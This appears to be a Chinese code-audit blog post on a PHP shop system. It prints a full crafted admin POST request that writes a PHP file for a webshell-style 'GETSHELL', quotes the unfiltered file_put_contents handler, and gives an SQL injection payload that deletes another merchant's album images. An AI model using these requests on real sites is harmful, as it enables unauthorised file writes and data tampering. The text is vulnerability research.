@1kbfree
        
        2018-06-02T14:35:38.000000Z
        字数 1602
        阅读 2065
    代码审计
打开URLwww.yousite.xxx?m=template后,呈现这个页面: 
 
点击进入目录
 
随便点击一个编辑,然后用Burp抓包( 用不用都可以 )
 
单击提交后用Burp抓包,抓到的数据如下图
 
我们将filename修改为phpinfo.php,把content修改为<?php phpinfo();?>

修改后的数据包:
POST /admin.php?m=template&a=save&jq_time=1527933067821 HTTP/1.1Host: www.iamfree.cccUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://www.iamfree.ccc/admin.php?m=template&a=edit&path=default.top.htmlContent-Length: 2886Cookie: PHPSESSID=b3uto19lpaa0mbbg4rudn9oqt0; goods[cart]=180602173948571025Connection: closefilename=phpinfo.php&content=<?php phpinfo();?>
然后就会在根目录创建一个名为phpinfo.php的文件,并且内容为<?php phpinfo();?> 

访问phpinfo.php文件,完成GETSHELL: 


public function save() {if ($_POST) {$file = P('filename', '修改的文件名不能为空');$content = P('content');$query = file_put_contents($file, stripslashes_deep($content));if ($query) {right_json();} else {error_json('保存失败');}} else {error_json('提交错误');}}

Burp抓的包放到Repeater( 按住ctrl+r )模块里
 
file_put_contents的返回值是第二个参数的长度
这里因为没有做任何过滤,所以这里导致了任意文件写入漏洞
进入商家登陆 

登陆后,单击装修 

点击相册列表,并且上传图片 

首先选择这个ID为1566的那张图片点击删除,并且用Burp进行抓包: 

我们首先随便输入一下错误的语法( 方便看到他的执行了什么语句 ): 

可以看到他执行的SQL语句是:
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or xxxx #查询uq_album表中条件为shop_id=4与id=1566的id和shop_id和url

我们现在身为test2想把test1的图片删了,那么我们就构造一下sql语句~
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or shop_id in (5)

可以看见这里有3条数据被展现出来了,也就是test2上传的图片 

然后我们开始执行一下这个构造的SQL语句: 

然后我们发现那3条数据就没了: 

下次补 手机已经扣了4元了 出不起了
